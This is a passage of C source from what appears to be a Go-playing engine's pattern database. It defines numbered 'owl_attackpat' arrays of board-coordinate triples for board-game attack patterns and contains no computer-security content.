{-1,-1,0}, {-1,0,0}, {-1,1,0}, {-3,1,0}, {-2,0,0}, {0,-1,0}, {-3,0,0}, {0,1,0}}; static struct patval owl_attackpat78[] = { {0,0,1}, {1,-2,1}, {1,0,2}, {-1,-2,4}, {0,-1,0}, {0,-2,0}, {-1,0,0}, {1,-1,0}, {-1,-1,0}}; static struct patval owl_attackpat79[] = { {0,2,1}, {0,0,1}, {-1,0,2}, {1,2,3}, {0,-1,0}, {0,1,0}, {-1,-1,0}, {1,-1,0}, {1,0,0}, {1,1,0}, {0,-2,0}}; static struct patval owl_attackpat80[] = { {0,0,1}, {1,-1,2}, {0,2,2}, {3,0,3}, {3,-1,3}, {3,1,3}, {3,2,3}, {2,-1,4}, {1,0,0}, {2,1,0}, {2,2,0}, {2,0,0}, {0,1,0}, {1,1,0}, {1,2,0}}; static struct patval owl_attackpat81[] = { {0,1,1}, {1,0,1}, {0,0,2}, {-1,1,2}, {1,-2,2}, {1,1,3}, {0,-1,0}, {-1,-2,0}, {0,-2,0}, {1,-1,0}, {-1,-1,0}, {-1,0,0}}; static struct patval owl_attackpat82[] = { {0,0,1}, {1,2,1}, {0,2,2}, {1,0,0}, {1,1,0}, {0,1,0}}; static struct patval owl_attackpat83[] = { {-1,0,1}, {0,0,1}, {1,0,2}, {0,-1,2}, {0,2,2}, {2,-1,3}, {2,0,3}, {2,2,3}, {2,1,3}, {-1,2,4}, {1,1,0}, {1,-1,0}, {-1,1,0}, {0,1,0}, {1,2,0}}; static struct patval owl_attackpat84[] = { {2,-1,1}, {2,-2,2}, {0,0,2}, {-1,-1,3}, {-1,-2,3}, {1,-2,0}, {1,-1,0}, {1,0,0}, {0,-1,0}, {0,-2,0}}; static struct patval owl_attackpat85[] = { {0,0,1}, {1,1,2}, {0,-2,3}, {0,-1,0}, {1,-1,0}, {1,0,0}, {1,-2,0}, {2,-2,0}, {2,-1,0}, {2,0,0}, {2,1,0}}; static struct patval owl_attackpat86[] = { {-1,1,1}, {1,2,1}, {1,0,1}, {0,2,1}, {0,0,2}, {-1,2,4}, {1,1,0}, {0,1,0}}; static struct patval owl_attackpat87[] = { {-1,1,1}, {-1,2,1}, {0,0,1}, {1,2,1}, {1,0,1}, {0,2,2}, {1,1,0}, {0,1,0}}; static struct patval owl_attackpat88[] = { {0,0,1}, {1,1,1}, {1,0,2}, {0,1,0}}; static struct patval owl_attackpat89[] = { {0,2,1}, {0,1,1}, {0,0,2}, {1,-1,0}, {1,0,0}, {1,1,0}, {1,2,0}, {2,-1,0}, {2,0,0}, {2,1,0}, {2,2,0}}; static struct patval owl_attackpat90[] = { {-1,1,1}, {-1,2,1}, {0,0,2}, {0,1,0}, {0,2,0}, {1,0,0}, {1,1,0}, {1,2,0}}; static struct patval owl_attackpat91[] = { {0,2,1}, {0,0,1}, {-1,1,2}, {0,1,0}, {1,0,0}, {1,1,0}, {1,2,0}}; static struct patval owl_attackpat92[] = { {1,2,1}, {0,0,1}, {1,-2,2}, {0,1,3}, {2,2,3}, {0,-2,4}, {1,0,0}, {1,1,0}, {0,-1,0}, {2,-2,0}, {2,-1,0}, {2,0,0}, {2,1,0}, {1,-1,0}}; static struct patval owl_attackpat93[] = { {-1,0,1}, {0,2,1}, {0,0,1}, {-1,2,2}, {1,0,3}, {1,2,3}, {0,1,0}, {1,1,0}, {-1,1,0}}; static struct patval owl_attackpat94[] = { {0,-1,1}, {-1,-1,1}, {-1,0,1}, {-1,2,1}, {0,0,2}, {0,-2,2}, {1,-1,2}, {-1,1,0}, {0,1,0}, {0,2,0}, {1,-2,0}, {-1,-2,0}, {1,0,0}, {1,1,0}, {1,2,0}}; static struct patval owl_attackpat95[] = { {0,0,1}, {1,-1,2}, {0,2,3}, {2,2,3}, {1,2,3}, {1,1,0}, {0,1,0}, {2,-1,0}, {2,0,0}, {2,1,0}, {1,0,0}}; static struct patval owl_attackpat96[] = { {0,0,1}, {1,1,1}, {-1,-1,2}, {0,1,3}, {1,0,4}, {-1,-2,0}, {1,-2,0}, {1,-1,0}, {0,-1,0}, {0,-2,0}}; static struct patval owl_attackpat97[] = { {0,0,1}, {1,0,2}, {0,2,0}, {0,1,0}, {1,1,0}, {1,2,0}}; static struct patval owl_attackpat98[] = { {-1,-1,1}, {0,1,1}, {0,0,1}, {1,1,2}, {-1,0,2}, {1,-1,3}, {-1,1,4}, {1,0,0}, {0,-1,0}, {2,-1,0}, {2,0,0}, {2,1,0}}; static struct patval owl_attackpat99[] = { {1,1,1}, {0,0,1}, {-1,0,2}, {1,3,3}, {1,2,3}, {0,1,0}, {0,2,0}, {-1,3,0}, {-1,1,0}, {-1,2,0}}; static struct patval owl_attackpat100[] = { {0,0,1}, {1,0,2}, {1,1,4}, {0,1,0}, {-1,0,0}, {-1,1,0}}; static struct patval owl_attackpat101[] = { {0,0,1}, {0,-1,1}, {0,2,2}, {1,-2,3}, {0,-2,3}, {0,1,0}, {1,-1,0}, {1,0,0}, {1,1,0}, {1,2,0}}; static struct patval owl_attackpat102[] = { {0,0,1}, {1,2,2}, {0,2,3}, {0,-1,3}, {0,1,0}, {1,0,0}, {1,1,0}, {1,-1,0}}; static struct patval owl_attackpat103[] = { {0,-1,1}, {0,0,1}, {0,3,2}, {0,2,0}, {0,1,0}, {1,-1,0}, {1,0,0}, {1,1,0}, {1,2,0}, {1,3,0}}; static struct patval owl_attackpat104[] = { {0,0,1}, {0,2,2}, {0,1,0}, {0,-1,0}, {1,-1,0}, {1,0,0}, {1,1,0}, {1,2,0}}; static struct patval owl_attackpat105[] = { {0,-2,1}, {0,0,1}, {1,-1,2}, {0,2,2}, {0,-1,3}, {1,-2,3}, {0,1,0}, {1,0,0}, {1,1,0}, {1,2,0}}; static struct patval owl_attackpat106[] = { {0,0,1}, {0,1,2}, {0,-1,3}, {1,-1,0}, {1,0,0}, {1,1,0}}; static struct patval owl_attackpat107[] = { {0,0,1}, {0,1,2}, {1,1,2}, {0,-1,3}, {1,0,0}, {1,-1,0}}; static struct patval owl_attackpat108[] = { {0,0,1}, {0,1,2}, {0,-1,3}, {1,-1,0}, {1,0,0}, {1,1,0}}; static struct patval owl_attackpat109[] = { {0,-1,1}, {0,1,1}, {0,0,2}, {1,-1,0}, {1,0,0}, {1,1,0}}; static struct patval owl_attackpat110[] = { {0,-2,1}, {0,0,1}, {0,1,2}, {0,-1,0}, {1,-2,0}, {1,-1,0}, {1,0,0}}; static struct patval owl_attackpat111[] = { {0,2,1}, {0,0,1}, {0,-1,1}, {1,-1,2}, {-1,0,2}, {-1,1,3}, {0,1,0}, {1,0,0}, {1,1,0}, {1,2,0}}; static struct patval owl_attackpat112[] = { {1,0,1}, {0,0,1}, {-1,1,1}, {0,2,1}, {-1,0,2}, {1,2,2}, {0,-1,2}, {-1,-1,4}, {0,1,0}, {1,1,0}, {1,-1,0}}; static struct patval owl_attackpat113[] = { {-1,-2,1}, {0,0,1}, {-1,0,1}, {0,1,2}, {0,-1,0}, {-1,-1,0}, {0,-2,0}, {1,-2,0}, {1,-1,0}, {1,0,0}, {1,1,0}}; static struct patval owl_attackpat114[] = { {-1,-2,1}, {-1,-1,1}, {0,0,1}, {1,-2,1}, {0,1,2}, {-1,0,2}, {0,-1,0}, {0,-2,0}, {1,-1,0}, {1,0,0}, {1,1,0}}; static struct patval owl_attackpat115[] = { {0,1,1}, {0,-1,1}, {0,0,1}, {0,-2,2}, {0,2,2}, {1,-1,0}, {1,0,0}, {1,1,0}, {2,-1,0}, {2,0,0}, {2,1,0}}; static struct patval owl_attackpat116[] = { {-1,-1,1}, {0,0,1}, {-1,0,2}, {1,-1,3}, {2,-1,3}, {-1,1,4}, {0,-1,0}, {1,0,0}, {1,1,0}, {0,1,0}, {2,0,0}, {2,1,0}}; static struct patval owl_attackpat117[] = { {2,0,1}, {-1,1,1}, {0,0,1}, {1,0,1}, {0,2,1}, {1,2,2}, {-1,0,2}, {0,1,0}, {1,1,0}, {2,1,0}, {2,2,0}}; static struct patval owl_attackpat118[] = { {-1,-1,1}, {-1,0,1}, {1,-1,1}, {0,-1,1}, {0,1,1}, {0,0,2}, {-1,1,2}, {1,0,0}, {1,1,0}}; static struct patval owl_attackpat119[] = { {0,0,1}, {0,-1,0}, {1,-1,0}, {1,0,0}}; static struct patval owl_attackpat120[] = { {-1,-1,1}, {0,0,1}, {0,-2,1}, {0,1,2}, {-1,0,2}, {-1,1,4}, {0,-1,0}, {1,-2,0}, {1,-1,0}, {1,0,0}, {1,1,0}}; static struct patval owl_attackpat121[] = { {-1,-1,1}, {0,0,1}, {0,-2,1}, {0,1,2}, {1,1,2}, {-1,0,2}, {2,0,3}, {-1,1,4}, {1,-1,0}, {1,0,0}, {1,-2,0}, {0,-1,0}}; static struct patval owl_attackpat122[] = { {0,0,1}, {0,1,1}, {1,2,1}, {1,-1,2}, {2,2,3}, {1,1,0}, {2,0,0}, {2,1,0}, {1,0,0}}; static struct patval owl_attackpat123[] = { {0,2,1}, {-1,1,1}, {0,0,1}, {0,-1,2}, {0,1,2}, {-1,0,2}, {1,-1,0}, {1,0,0}, {1,1,0}}; static struct patval owl_attackpat124[] = { {0,2,1}, {0,0,1}, {0,1,0}, {-1,1,0}, {1,1,0}}; static struct patval owl_attackpat125[] = { {1,1,1}, {0,0,1}, {0,2,1}, {0,1,0}, {-1,1,0}, {1,2,0}}; static struct patval owl_attackpat126[] = { {1,1,1}, {0,0,1}, {0,2,1}, {-1,1,2}, {1,0,0}, {0,1,0}, {1,2,0}}; static struct patval owl_attackpat127[] = { {0,0,1}, {1,1,1}, {1,-1,3}, {2,0,3}, {1,0,0}, {0,1,0}}; static struct patval owl_attackpat128[] = { {0,0,1}, {-1,1,1}, {1,1,3}, {-1,0,3}, {0,1,0}, {0,2,0}, {-1,2,0}}; static struct patval owl_attackpat129[] = { {0,0,1}, {1,1,1}, {1,-1,3}, {2,0,3}, {1,0,0}, {0,1,0}}; static struct patval owl_attackpat130[] = { {0,0,1}, {1,1,1}, {1,2,1}, {-1,3,1}, {0,3,1}, {-1,0,2}, {1,0,3}, {0,2,0}, {0,1,0}, {-1,1,0}, {-1,2,0}}; static struct patval owl_attackpat131[] = { {0,0,1}, {0,1,1}, {2,2,1}, {1,2,1}, {3,0,4}, {3,-1,4}, {2,-1,0}, {2,0,0}, {2,1,0}, {1,-1,0}, {1,0,0}, {1,1,0}, {3,1,0}}; static struct patval owl_attackpat132[] = { {0,2,1}, {1,2,1}, {0,0,1}, {1,0,1}, {-1,0,2}, {-1,1,2}, {2,2,3}, {2,0,3}, {0,1,0}, {2,1,0}, {1,1,0}}; static struct patval owl_attackpat133[] = { {0,0,1}, {0,1,1}, {2,-1,1}, {3,0,1}, {1,2,1}, {3,-1,2}, {1,-1,2}, {3,2,3}, {2,2,3}, {2,1,0}, {1,1,0}, {1,0,0}, {3,1,0}, {2,0,0}}; static struct patval owl_attackpat134[] = { {2,0,1}, {0,0,1}, {0,1,1}, {2,1,2}, {2,-1,3}, {1,-2,3}, {1,1,3}, {0,-1,0}, {1,0,0}, {1,-1,0}}; static struct patval owl_attackpat135[] = { {1,1,1}, {0,2,1}, {0,0,1}, {-1,0,2}, {-1,2,3}, {1,2,3}, {1,0,3}, {0,1,0}, {-1,1,0}}; static struct patval owl_attackpat136[] = { {0,2,1}, {0,-1,1}, {1,0,1}, {1,2,1}, {0,0,2}, {-1,0,0}, {1,1,0}, {0,1,0}}; static struct patval owl_attackpat137[] = { {2,0,1}, {0,0,1}, {1,2,2}, {0,-1,3}, {2,1,3}, {1,-1,3}, {0,1,3}, {2,-1,3}, {1,1,0}, {1,0,0}}; static struct patval owl_attackpat138[] = { {0,2,1}, {-1,1,1}, {0,0,1}, {1,-1,1}, {1,2,2}, {0,-1,3}, {-1,0,3}, {-1,2,3}, {0,1,0}, {1,1,0}, {1,0,0}}; static struct patval owl_attackpat139[] = { {0,2,1}, {-1,1,1}, {0,0,1}, {1,2,2}, {-1,2,3}, {-1,0,3}, {1,0,0}, {1,1,0}, {0,1,0}}; static struct patval owl_attackpat140[] = { {-1,1,1}, {0,1,1}, {0,2,2}, {0,0,2}, {-1,-1,3}, {-1,0,3}, {0,-1,4}, {1,-1,0}, {1,0,0}, {1,1,0}, {1,2,0}}; static struct patval owl_attackpat141[] = { {0,0,1}, {1,-1,2}, {0,1,2}, {1,1,4}, {1,2,4}, {0,-1,0}, {1,0,0}}; static struct patval owl_attackpat142[] = { {-1,-2,1}, {0,1,1}, {-1,1,1}, {0,2,2}, {0,0,2}, {-1,-1,3}, {-1,0,3}, {0,-1,4}, {0,-2,0}, {1,-2,0}, {1,-1,0}, {1,0,0}, {1,1,0}, {1,2,0}}; static struct patval owl_attackpat143[] = { {0,0,1}, {-1,2,1}, {0,-1,2}, {-1,-1,2}, {-1,1,0}, {-1,0,0}, {0,1,0}, {0,2,0}, {1,-1,0}, {1,0,0}, {1,1,0}, {1,2,0}}; static struct patval owl_attackpat144[] = { {-1,0,1}, {0,0,1}, {0,-1,2}, {1,0,2}, {-1,1,0}, {1,-1,0}, {0,1,0}, {1,1,0}}; static struct patval owl_attackpat145[] = { {0,1,1}, {1,0,1}, {1,1,2}, {0,2,2}, {0,0,2}, {1,-1,0}, {0,-1,0}, {1,2,0}}; static struct patval owl_attackpat146[] = { {-1,-2,1}, {-1,-1,1}, {0,0,1}, {-1,1,2}, {0,-2,2}, {1,-2,2}, {0,1,2}, {-1,0,0}, {0,-1,0}, {1,-1,0}, {1,0,0}, {1,1,0}, {1,2,0}}; static struct patval owl_attackpat147[] = { {0,2,1}, {0,0,1}, {-1,1,2}, {0,1,0}, {1,1,0}}; static struct patval owl_attackpat148[] = { {0,2,1}, {-1,1,1}, {0,0,1}, {1,2,1}, {-1,0,0}, {1,0,0}, {1,1,0}, {0,1,0}}; static struct patval owl_attackpat149[] = { {-1,-1,1}, {1,2,1}, {0,0,1}, {0,1,1}, {0,2,1}, {0,-1,2}, {1,0,2}, {1,1,0}, {1,-1,0}}; static struct patval owl_attackpat150[] = { {0,-1,1}, {0,1,1}, {0,0,2}, {1,-1,2}, {1,1,2}, {1,0,0}}; static struct patval owl_attackpat151[] = { {0,-1,1}, {0,1,1}, {0,0,2}, {1,-1,2}, {1,1,2}, {1,0,0}}; static struct patval owl_attackpat152[] = { {0,2,1}, {-1,0,1}, {-1,1,1}, {0,0,2}, {-1,-1,3}, {0,1,0}, {0,-1,0}, {1,-1,0}, {1,0,0}, {1,1,0}, {1,2,0}}; static struct patval owl_attackpat153[] = { {0,1,1}, {-1,0,1}, {0,-1,1}, {0,0,2}, {-1,-1,2}, {1,1,3}, {1,0,0}, {1,-1,0}}; static struct patval owl_attackpat154[] = { {0,1,1}, {0,-1,1}, {-1,1,1}, {-1,-1,2}, {0,0,2}, {-1,0,0}, {1,-1,0}, {1,0,0}, {1,1,0}}; static struct patval owl_attackpat155[] = { {1,1,1}, {-1,0,1}, {0,1,1}, {0,0,1}, {0,-1,2}, {1,2,3}, {1,0,0}, {-1,-1,0}, {1,-1,0}, {2,-1,0}, {2,0,0}, {2,1,0}, {2,2,0}}; static struct patval owl_attackpat156[] = { {-1,-1,1}, {2,2,1}, {0,0,1}, {0,1,1}, {1,1,1}, {1,0,2}, {0,-1,2}, {2,-1,2}, {2,0,0}, {2,1,0}, {1,-1,0}}; static struct patval owl_attackpat157[] = { {0,1,1}, {-1,0,1}, {1,-1,1}, {0,0,1}, {1,1,1}, {0,-1,2}, {2,0,2}, {1,0,2}, {2,-1,0}, {-1,-1,0}, {2,1,0}}; static struct patval owl_attackpat158[] = { {0,-1,1}, {0,0,1}, {0,1,1}, {1,-1,0}, {1,0,0}, {1,1,0}}; static struct patval owl_attackpat159[] = { {0,-2,1}, {1,-2,1}, {0,0,1}, {0,1,4}, {0,-1,0}, {1,-1,0}, {1,0,0}, {1,1,0}}; static struct patval owl_attackpat160[] = { {0,-2,1}, {-1,-1,1}, {0,0,1}, {0,1,2}, {-1,-2,2}, {-1,0,2}, {-1,1,4}, {0,-1,0}, {1,-2,0}, {1,-1,0}, {1,0,0}, {1,1,0}}; static struct patval owl_attackpat161[] = { {0,-1,1}, {0,0,1}, {1,-1,1}, {0,2,1}, {0,1,0}, {1,0,0}, {1,1,0}, {1,2,0}}; static struct patval owl_attackpat162[] = { {0,-1,1}, {0,0,1}, {1,-1,1}, {0,2,1}, {0,1,0}, {1,0,0}, {1,1,0}, {1,2,0}}; static struct patval owl_attackpat163[] = { {0,-2,1}, {1,1,1}, {0,0,1}, {0,1,4}, {1,2,4}, {0,2,4}, {1,-1,0}, {1,0,0}, {1,-2,0}, {0,-1,0}, {2,-2,0}, {2,-1,0}, {2,0,0}, {2,1,0}, {2,2,0}}; static struct patval owl_attackpat164[] = { {-1,1,1}, {0,2,1}, {0,-1,1}, {0,0,1}, {-1,2,3}, {0,1,0}, {1,-1,0}, {1,0,0}, {1,1,0}, {1,2,0}}; static struct patval owl_attackpat165[] = { {-1,-1,1}, {0,-2,1}, {1,1,1}, {0,0,1}, {2,0,1}, {1,0,0}, {0,-1,0}, {1,-1,0}}; static struct patval owl_attackpat166[] = { {-1,-1,1}, {0,-2,1}, {1,1,1}, {0,0,1}, {1,-1,0}, {1,0,0}, {0,-1,0}}; static struct patval owl_attackpat167[] = { {0,0,1}, {1,1,1}, {0,1,2}, {1,0,0}}; static struct patval owl_attackpat168[] = { {0,0,1}, {1,1,1}, {0,1,2}, {1,0,0}}; static struct patval owl_attackpat169[] = { {1,-1,1}, {0,0,1}, {1,0,2}, {0,-1,0}, {0,-2,0}}; static struct patval owl_attackpat170[] = { {1,-1,1}, {0,0,1}, {1,0,2}, {0,-1,0}, {0,-2,0}}; static struct patval owl_attackpat171[] = { {-1,-1,1}, {1,0,1}, {0,0,2}, {1,-1,0}, {0,-1,0}}; static struct patval owl_attackpat172[] = { {0,-1,1}, {0,1,1}, {0,0,2}, {1,-1,0}, {1,0,0}, {1,1,0}, {2,0,0}}; static struct patval owl_attackpat173[] = { {0,-1,1}, {0,1,1}, {0,0,2}, {1,-1,0}, {1,0,0}, {1,1,0}, {2,0,0}}; static struct patval owl_attackpat174[] = { {-1,-1,1}, {-1,1,1}, {0,0,2}, {-1,0,0}}; static struct patval owl_attackpat175[] = { {0,0,1}, {0,2,1}, {1,0,2}, {-1,2,4}, {-1,0,4}, {-1,1,4}, {0,1,0}, {1,1,0}}; static struct patval owl_attackpat176[] = { {0,-1,1}, {0,2,1}, {0,0,2}, {0,1,0}, {1,-1,0}, {1,0,0}, {1,1,0}, {1,2,0}}; static struct patval owl_attackpat177[] = { {-1,-2,1}, {0,0,1}, {-1,0,2}, {0,-2,0}, {0,-1,0}, {-1,-1,0}, {1,-2,0}, {1,-1,0}, {1,0,0}}; static struct patval owl_attackpat178[] = { {0,-1,1}, {0,1,1}, {0,0,2}, {1,-1,3}, {1,1,3}, {1,0,0}}; static struct patval owl_attackpat179[] = { {-1,-1,1}, {1,1,1}, {0,0,1}, {0,-1,2}, {1,0,2}, {0,2,2}, {1,-1,4}, {0,1,0}, {-1,0,0}}; static struct patval owl_attackpat180[] = { {1,0,1}, {0,0,1}, {-1,1,2}, {0,2,0}, {0,1,0}, {1,1,0}}; static struct patval owl_attackpat181[] = { {1,0,1}, {0,0,2}, {0,1,3}, {0,-3,3}, {0,-4,3}, {0,-2,0}, {1,-4,0}, {1,-3,0}, {1,-2,0}, {1,-1,0}, {0,-1,0}, {1,1,0}}; static struct patval owl_attackpat182[] = { {0,0,1}, {1,3,1}, {1,0,1}, {0,3,1}, {0,2,0}, {1,1,0}, {1,2,0}, {0,1,0}}; static struct patval owl_attackpat183[] = { {0,-2,1}, {1,1,1}, {0,0,2}, {0,-1,3}, {1,-2,4}, {1,0,0}, {1,-1,0}}; static struct patval owl_attackpat184[] = { {0,0,1}, {2,1,1}, {0,1,2}, {2,0,2}, {1,1,0}, {1,0,0}}; static struct patval owl_attackpat185[] = { {1,1,1}, {0,2,2}, {0,0,2}, {-1,2,0}, {0,1,0}, {-1,0,0}, {-1,1,0}}; static struct patval owl_attackpat186[] = { {1,1,1}, {0,2,2}, {0,0,2}, {-1,2,0}, {0,1,0}, {-1,0,0}, {-1,1,0}}; static struct patval owl_attackpat187[] = { {0,0,1}, {-1,-1,2}, {-1,1,2}, {-1,0,0}}; static struct patval owl_attackpat188[] = { {-1,2,1}, {1,1,1}, {0,2,2}, {0,0,2}, {0,1,0}, {-1,0,0}, {-1,1,0}}; static struct patval owl_attackpat189[] = { {0,-1,1}, {-1,0,1}, {-1,1,2}, {-1,-1,2}, {0,0,2}, {0,1,0}, {1,-1,0}, {1,0,0}, {1,1,0}}; static struct patval owl_attackpat190[] = { {1,0,1}, {0,-1,1}, {-1,-1,2}, {1,1,2}, {0,0,2}, {2,-1,3}, {1,-1,3}, {0,1,0}, {-1,0,0}, {-1,1,0}, {2,0,0}, {2,1,0}}; static struct patval owl_attackpat191[] = { {1,0,1}, {0,1,1}, {0,-1,1}, {-1,-1,2}, {0,0,2}, {-1,0,2}, {1,1,2}, {1,-1,3}, {2,-1,3}, {2,0,3}, {1,2,0}, {-1,1,0}, {0,2,0}, {2,1,0}, {2,2,0}}; static struct patval owl_attackpat192[] = { {1,0,1}, {1,1,2}, {0,0,2}, {0,1,0}}; static struct patval owl_attackpat193[] = { {1,0,1}, {1,1,2}, {0,0,2}, {0,1,0}, {-1,0,0}, {-1,1,0}}; static struct patval owl_attackpat194[] = { {1,0,1}, {1,1,2}, {0,0,2}, {0,1,0}, {-1,0,0}, {-1,1,0}}; static struct patval owl_attackpat195[] = { {0,0,1}, {1,1,1}, {0,1,2}, {1,0,2}, {1,-1,0}}; static struct patval owl_attackpat196[] = { {-1,-1,1}, {0,0,1}, {0,-1,2}, {1,-2,2}, {-1,0,3}, {0,2,4}, {0,1,4}, {1,-1,0}, {1,0,0}, {1,1,0}, {1,2,0}, {2,-2,0}, {2,-1,0}, {2,0,0}, {2,1,0}, {2,2,0}}; static struct patval owl_attackpat197[] = { {0,0,1}, {1,-3,2}, {0,1,2}, {1,0,2}, {1,2,4}, {1,1,4}, {0,-3,4}, {1,-1,0}, {1,-2,0}, {0,-2,0}, {0,-1,0}}; static struct patval owl_attackpat198[] = { {0,1,1}, {-1,0,1}, {-1,1,1}, {1,1,2}, {0,0,2}, {-1,-1,2}, {-2,0,3}, {-1,-2,0}, {-1,2,0}, {0,-2,0}, {0,-1,0}, {-2,1,0}, {-2,2,0}, {0,2,0}, {1,-1,0}, {1,0,0}, {-2,-1,0}, {1,2,0}, {2,0,0}, {2,1,0}, {2,2,0}}; static struct patval owl_attackpat199[] = { {-1,-1,1}, {0,-1,1}, {0,0,2}, {-1,2,2}, {-1,1,0}, {-1,0,0}, {0,1,0}, {0,2,0}, {1,-1,0}, {1,0,0}, {1,1,0}, {1,2,0}}; static struct patval owl_attackpat200[] = { {-2,-1,1}, {0,0,2}, {-2,0,2}, {0,-2,2}, {-2,-2,3}, {1,1,3}, {-1,1,0}, {-1,-1,0}, {0,-1,0}, {-1,0,0}, {0,1,0}, {1,-2,0}, {1,-1,0}, {1,0,0}, {-2,1,0}}; static struct patval owl_attackpat201[] = { {-1,-1,1}, {0,0,2}, {-2,0,2}, {0,-2,2}, {-2,-2,3}, {-2,-1,3}, {1,1,3}, {-1,1,0}, {0,-1,0}, {-1,0,0}, {0,1,0}, {1,-2,0}, {1,-1,0}, {1,0,0}, {-2,1,0}}; static struct patval owl_attackpat202[] = { {0,0,1}, {0,1,1}, {-1,1,2}, {1,-1,2}, {0,2,2}, {1,1,2}, {-1,-1,3}, {2,2,3}, {-1,0,3}, {1,0,0}, {1,2,0}, {2,-1,0}, {2,0,0}, {2,1,0}, {-1,2,0}}; static struct patval owl_attackpat203[] = { {-1,0,1}, {1,1,1}, {0,0,1}, {0,1,2}, {0,-1,2}, {1,0,2}, {2,1,3}, {2,-1,3}, {2,0,3}, {1,-1,0}}; static struct patval owl_attackpat204[] = { {-1,-1,1}, {0,1,1}, {-1,1,2}, {0,0,2}, {-1,0,0}}; static struct patval owl_attackpat205[] = { {-1,-1,1}, {0,0,1}, {0,-1,2}, {-1,0,2}, {0,1,0}, {1,-1,0}, {1,0,0}, {1,1,0}}; static struct patval owl_attackpat206[] = { {0,0,1}, {1,2,1}, {1,0,4}, {1,1,0}, {0,1,0}}; static struct patval owl_attackpat207[] = { {0,0,1}, {-2,2,0}, {-1,0,0}, {-1,1,0}, {-1,2,0}, {-2,1,0}, {0,1,0}}; static struct patval owl_attackpat208[] = { {0,0,1}, {1,1,2}, {-1,2,2}, {-1,0,2}, {0,1,0}, {0,2,0}, {-1,1,0}}; static struct patval owl_attackpat209[] = { {0,0,1}, {2,1,1}, {1,0,0}, {1,1,0}, {2,0,0}, {0,1,0}}; static struct patval owl_attackpat210[] = { {0,-2,1}, {1,1,1}, {0,0,2}, {0,-1,3}, {1,-2,4}, {1,0,0}, {1,-1,0}}; static struct patval owl_attackpat211[] = { {0,1,1}, {0,0,2}, {1,0,0}, {1,1,0}}; static struct patval owl_attackpat212[] = { {0,1,1}, {0,0,2}, {1,0,0}, {1,1,0}}; static struct patval owl_attackpat213[] = { {0,1,1}, {1,0,1}, {0,-1,1}, {0,0,2}, {-1,-1,2}, {-1,1,2}, {-2,1,3}, {-2,-1,3}, {-2,0,3}, {0,2,4}, {-1,0,0}, {1,1,0}}; static struct patval owl_attackpat214[] = { {0,0,1}, {-1,-1,2}, {-1,1,2}, {-1,0,0}}; static struct patval owl_attackpat215[] = { {0,0,1}, {-1,1,1}, {0,1,2}, {-1,-1,2}, {-1,0,0}}; static struct patval owl_attackpat216[] = { {1,1,1}, {0,0,1}, {1,-1,1}, {0,2,1}, {0,-1,2}, {1,0,0}, {0,1,0}, {1,2,0}}; static struct patval owl_attackpat217[] = { {1,-1,1}, {0,0,1}, {0,-1,1}, {1,0,2}, {0,1,2}, {-1,0,2}, {2,-1,2}, {-1,2,3}, {-1,-1,3}, {0,2,0}, {1,1,0}, {1,2,0}, {-1,1,0}, {2,0,0}, {2,1,0}}; static struct patval owl_attackpat218[] = { {1,0,1}, {1,1,2}, {0,0,2}, {1,-1,0}}; static struct patval owl_attackpat219[] = { {0,0,1}, {0,-1,2}, {0,1,2}, {-1,0,0}}; static struct patval owl_attackpat220[] = { {0,0,1}, {0,-1,2}, {0,1,2}, {-1,0,0}}; static struct patval owl_attackpat221[] = { {0,0,1}, {-1,1,1}, {0,1,2}, {-1,0,0}}; static struct patval owl_attackpat222[] = { {0,0,1}, {-1,1,1}, {0,1,2}, {-1,0,0}}; static struct patval owl_attackpat223[] = { {1,-1,1}, {0,0,1}, {-1,0,1}, {1,0,2}, {0,-1,0}, {0,-2,0}, {1,-2,0}, {-1,-2,0}, {-1,-1,0}}; static struct patval owl_attackpat224[] = { {-1,-2,1}, {0,0,1}, {0,1,2}, {-2,-1,2}, {-2,1,4}, {-2,0,4}, {-1,1,4}, {0,-2,0}, {0,-1,0}, {-1,0,0}, {-1,-1,0}, {1,-2,0}, {1,-1,0}, {1,0,0}, {1,1,0}}; static struct patval owl_attackpat225[] = { {0,1,1}, {0,0,1}, {0,-1,2}, {1,0,2}, {1,-1,0}, {0,2,0}, {1,1,0}, {1,2,0}}; static struct patval owl_attackpat226[] = { {0,-1,1}, {1,-1,1}, {1,0,1}, {0,1,2}, {-1,-1,2}, {1,3,2}, {0,0,2}, {-1,0,4}, {-2,0,4}, {-1,2,4}, {-1,1,4}, {0,3,4}, {0,2,0}, {-2,-2,0}, {1,-2,0}, {-1,-2,0}, {0,-2,0}, {1,1,0}, {1,2,0}, {-2,-1,0}, {2,-2,0}, {2,-1,0}, {2,0,0}, {2,1,0}, {2,2,0}, {2,3,0}, {3,-2,0}, {3,-1,0}, {3,0,0}, {3,1,0}, {3,2,0}, {3,3,0}}; static struct patval owl_attackpat227[] = { {-1,0,1}, {0,0,1}, {0,1,2}, {0,-2,0}, {0,-1,0}, {-1,-1,0}, {-1,-2,0}, {1,-2,0}, {1,-1,0}, {1,0,0}, {1,1,0}}; static struct patval owl_attackpat228[] = { {0,0,1}, {0,-2,1}, {-1,0,1}, {0,1,4}, {0,-1,0}, {-1,-2,0}, {-1,-1,0}, {1,-2,0}, {1,-1,0}, {1,0,0}}; static struct patval owl_attackpat229[] = { {0,0,1}, {1,0,1}, {-1,0,1}, {0,-2,1}, {1,-1,2}, {0,1,2}, {-1,-2,0}, {1,-2,0}, {-1,-1,0}, {0,-1,0}}; static struct patval owl_attackpat230[] = { {1,1,1}, {0,0,1}, {0,1,2}, {0,-1,0}, {1,0,0}, {1,-1,0}}; static struct patval owl_attackpat231[] = { {0,-1,1}, {0,0,1}, {0,1,1}, {1,2,1}, {2,2,1}, {1,1,0}, {1,-1,0}, {2,-1,0}, {2,0,0}, {2,1,0}, {1,0,0}}; static struct patval owl_attackpat232[] = { {0,-1,1}, {0,0,1}, {2,2,1}, {1,2,1}, {1,0,0}, {1,1,0}, {1,-1,0}, {2,-1,0}, {2,0,0}, {2,1,0}, {0,1,0}}; static struct patval owl_attackpat233[] = { {0,-1,1}, {0,0,1}, {0,1,1}, {1,2,1}, {2,2,1}, {1,1,0}, {1,-1,0}, {2,-1,0}, {2,0,0}, {2,1,0}, {1,0,0}}; static struct patval owl_attackpat234[] = { {-1,-1,1}, {0,0,1}, {-1,1,1}, {0,2,1}, {1,2,1}, {1,0,2}, {-1,0,3}, {0,-1,0}, {0,1,0}, {1,1,0}, {1,-1,0}}; static struct patval owl_attackpat235[] = { {-1,-1,1}, {0,1,1}, {1,2,1}, {0,0,1}, {-1,0,3}, {0,2,3}, {1,-1,0}, {1,0,0}, {1,1,0}, {0,-1,0}}; static struct patval owl_attackpat236[] = { {0,2,1}, {0,0,1}, {1,1,2}, 